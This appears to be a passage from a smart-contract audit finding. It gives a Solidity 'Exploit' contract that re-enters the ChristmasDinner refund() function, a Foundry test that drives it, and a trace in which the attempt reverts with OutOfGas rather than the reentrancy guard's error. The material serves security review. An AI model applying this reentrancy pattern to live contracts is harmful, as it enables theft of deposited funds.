We can see from the results that the transaction reverted due to "OutOfGas" by transfer() and not the error "No re-entrancy" from ChristmasDinner::nonReentrant() modifier
contract Exploit {
ChristmasDinner cd;
uint8 attempt = 1;
constructor(ChristmasDinner _cd) payable {
cd = _cd;
}
function attack() external {
(bool success, ) = address(cd).call{value: 1 ether}("");
require(success, "deposit failed");
cd.refund();
}
receive() external payable {
if(address(cd).balance > 0 && attempt < 3){
console.log("Reenter");
attempt += 1;
cd.refund();
} else {
console.log("CD ETH: ", address(cd).balance);
console.log("This ETH: ", address(this).balance);
}
}
}
function testReentrancyInRefundETH() public {
vm.deal(user1, 5 ether);
vm.deal(user2, 1 ether);
vm.startPrank(user1);
(bool success1, ) = address(cd).call{value: 5 ether}("");
require(success1, "Deposit ether failed for user 1");
vm.stopPrank();
vm.startPrank(user2);
Exploit exploit = new Exploit{value: 1 ether}(cd);
exploit.attack();
vm.stopPrank();
}
[397814] ChristmasDinnerTest::testReentrancyInRefundETH()
├─ [0] VM::deal(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], 5000000000000000000 [5e18])
│ └─ ← [Return]
├─ [0] VM::deal(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [24234] ChristmasDinner::receive{value: 5000000000000000000}()
│ ├─ emit NewSignup(: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], : 5000000000000000000 [5e18], : true)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Return]
├─ [235627] → new Exploit@0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe
│ └─ ← [Return] 1064 bytes of code
├─ [84190] Exploit::attack()
│ ├─ [24234] ChristmasDinner::receive{value: 1000000000000000000}()
│ │ ├─ emit NewSignup(: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], : 1000000000000000000 [1e18], : true)
│ │ └─ ← [Stop]
│ ├─ [52327] ChristmasDinner::refund()
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [2300] Exploit::receive{value: 1000000000000000000}()
-> │ │ │ └─ ← [OutOfGas] EvmError: OutOfGas
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
└─ ← [Revert] EvmError: Revert